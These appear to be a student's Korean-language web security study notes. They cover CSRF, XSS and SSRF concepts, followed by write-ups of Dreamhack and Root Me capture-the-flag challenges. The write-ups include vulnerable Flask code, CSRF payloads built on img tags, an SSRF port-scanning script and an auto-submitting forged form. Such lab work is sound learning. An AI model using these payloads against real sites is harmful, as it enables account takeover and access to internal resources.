WEB2 study 3주차

과제 1. 문서화

웹 구성요소

  1. Client: 웹 서버에 request할 수 있는 주체
  2. HTTP: 정보를 주고 받는 웹 프로토콜, 평문 전송->스니핑 공격에 취약, OSI 7계층에 속함
  3. Browser: 클라이언트가 request한 걸 서버에 전달, 서버가 전달한 response를 클라이언트에 시각적으로 보여주는 툴 ex)파이어폭스, 크롬 등
  4. Server: request에 따라 HTML 문서 제공, 리소스 관리
  5. Web Application: 브라우저에서 접근할 수 있는 프로그램->HTTP에서 동작됨 ex) jsp, php 등

웹 리소스

웹 리소스: 서버가 제공하는 자원(resource)

  1. 웹 사이트 접속, API 호출 시 제공받을 수 있음
  2. 프로그램도 리소스가 될 수 있다
  3. 서버 리소스 -> URI = URL+URN, URI를 통해 원하는 리소스에 접근, 정보 리소스를 저장하기 때문에 식별자의 역할

URL

URL: 가장 흔한 리소스 식별자, 리소스에 대한 위치 서술, 사용 프로토콜+리소스가있는주소+원하는리소스

문법: scheme://[userinfo@]host[:port][/path][?query][#fragment]

  1. 스키마: 리소스 접근 방법(프로토콜)
  2. 사용자 정보: 리소스 접근에 인증 필요 때 작성
  3. 호스트: 리소스가 있는 ip주소
  4. 포트 번호: 리소스를 가지고 있는 포트 번호(애플리케이션에 할당됨)
  5. 경로: 리소스가 존재하는 위치, ‘/’로 계층적 표현
  6. 쿼리 파라미터: 서버가 받는 파라미터와 변수 받음, ‘&’으로 구분
  7. 프레그먼트: 리소스에서 특정 부분 가리킬 때

파일의 종류

정적 파일: 미리 저장된 파일, 고정적 동적 파일: 실시간으로 변경되는 파일, 서버가 request에 따라 데이터 생성한 웹페이지 제공

CSRF

CSRF(Cross Site Request Forgery): 클라이언트 의지와 무관하게 공격자 의도대로 웹사이트 request

  1. CSRF 스크립트 포함된 게시물 등록
  2. 클라이언트가 그 게시물을 열람하면
  3. request와 response
  4. 스크립트 실행

CSRF 방어

  • referer 체크: referer로 request를 보낸 페이지 정보 확인
  • GET/POST 요청 구분: img-> GET, form->POST로 요청 구분
  • Token: 암호화된 token 발급-> request마다 token으로 서버 검사
  • 추가 인증 수단

**CSRF와 XSS의 차이 **

  CSRF XSS
공통점 악성 스크립트가 심어진 페이지 접속  
목적 HTTP request 보냄 세션, 쿠키 탈취
공격 대상 서버 클라이언트

SSRF

SSRF(Server Side Request Forgery): 위조된 HTTP request로 서버 내부 리소스 접근->유출

  1. 해커가 브라우저를 통해 위조된 request
  2. 서버 내부망에서 비정상 요청이 처리됨
  3. 리소스 유출

*website translator, Image viewer, document reader, web crawler, URL previewer 겨냥

과제 2. csrf-1 라이트업

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)


@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"


app.run(host="0.0.0.0", port=8000)

문제 설명, 메인 화면, 파이썬 코드는 위와 같다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

일단 xss 필터가 있는 걸 보아 xss로 풀긴 어려워 보인다.

@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"

memo_text에 flag를 포함한 문장이 추가되는 걸 확인할 수 있다. if문들을 확인하니 127.0.0.1에 userid가 admin이 되면 flag를 출력할 수 있다.

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)

memo_text는 memo 페이지에 출력된다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 페이지는 POST 요청을 받는다.

def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

param을 받아 http://~로 요청하는 거 같다. 이미 127.0.0.1로 맞춰져있으니 userid를 admin으로 설정하는 param을 추가하면 된다.

<img src="/admin/notice_flag?userid=admin">

라업을 참고하니 위와 같은 param을 넣어줬다.

과제 3. ssrf 라이트업

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

문제 설명과 메인화면, 파이썬 코드

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"
flag는 저기 있다고 한다. 
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

페이지가 하나밖에 없다 image viewer는 ssrf의 주요 표적이라고 한다. base64로 인코딩 한 거 같은데 그냥 /flag.txt 열람하려고 했더니

elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)

필터링 때문에 안된다.

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)

하지만 127.0.0.1 호스트와 port를 1500~1800 중에 하나로 맞춰줘야 flag.txt를 열람할 수 있기 때문에 hex값으로 우회 0x7f000001 port 찾는 파이썬 코드

import requests
import sys

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"


def send_img(img_url):
    global chall_url

    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)

    return response.text


def find_port():
    for port in range(1500, 1801):
        img_url = f"http://Localhost:{port}"
        print(img_url)
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break

    return port


if __name__ == "__main__":
    chall_url = f"http://host3.dreamhack.games:18741/img_viewer"
    internal_port = find_port()

코드 실행 결과 포트 번호는 1787 이었다.

data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9

DH{43dd2189056475a7f3bd11456a17ad71}가 나온다

과제 4. csrf-2 라이트업

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'


@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

app.run(host="0.0.0.0", port=8000)

문제설명과 파이썬 코드

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

첫 화면 please login이라길래 login 부분 먼저 봤다. password가 맞으면 무언가 응답이 나오는 거 같다.

users = {
    'guest': 'guest',
    'admin': FLAG
}

admin의 pw가 FLAG

@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

chage_password가 있었다

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

post로 파라미터 받으면 session id hex값 랜덤.. 그리고 이게 admin을 저장하는 거 같다. 잘은 모르겠지만 flag -> change_password

/change_password?pw=FLAG로 해봤더니

이부분에서 진도가 안 나가서 라이트업을 참고했더니 그냥 flag에서 받는 파라미터에 /change_password?pw=(원하는비밀번호)를 넣으면 되는 거였다 다만 또 img src 속성을 사용해서

<img src="/change_password?pw=admin">

flag페이지의 파라미터로 전달하면 되는 거였다.

라이트업을 보니까 왜 index에 flag가 나오나 싶었더니 비밀번호를 알아내는 문제가 아니고..

@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')

메인 화면을 지나쳤는데 return문을 보니 여기서도 FLAG를 출력할 수 있었다. 다음부터는 /도 꼼꼼하게 확인해야겠다.

csrf-1에서도 나왔고 img src에 대해서 짚고 가야할 거 같다. img 태그: 웹페이지에 이미지를 표시하는 태그이다. 이미지를 설명하기 위해 속성과 함께 작성해야 한다. 속성의 종류는 다음과 같다.

속성  
src 이미지 이름 URL 형식으로 지정
width, height 이미지 출력할 너비와 높이 지정
alt 이미지 출력 오류 시, 출력할 텍스트
title 이미지에 커서를 올려둘 때 뜨는 이미지 설명 지정

과제 5. [Root Me] CSRF - 0 protection

register에서 admin admin으로 만들고 login 해봤다

profile 클릭

profile 입력창 하나

private을 열어달라 해야하는건가?

contact에 아무거나 보내봤다. administrator을 거쳐가는 거 같다. your email칸에는 @ 앞뒤가 채워져 있어야 하는듯

@뒤에 *포함은 필터링이 걸린다

음… 모르겠어서 라이트업 참고했다 status를 comment창으로 checked 상태로 바꾸는 문제였다

<form action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data" id="admin">
<input type="text" name="username" value="admin">
<input type="checkbox" name="status" checked>
</form>
<script>javascript:document.getElementById("admin").submit();</script>

f12를 열어서 form 형태를 바꿔주고 script로 전달하는 명령어를 넣었다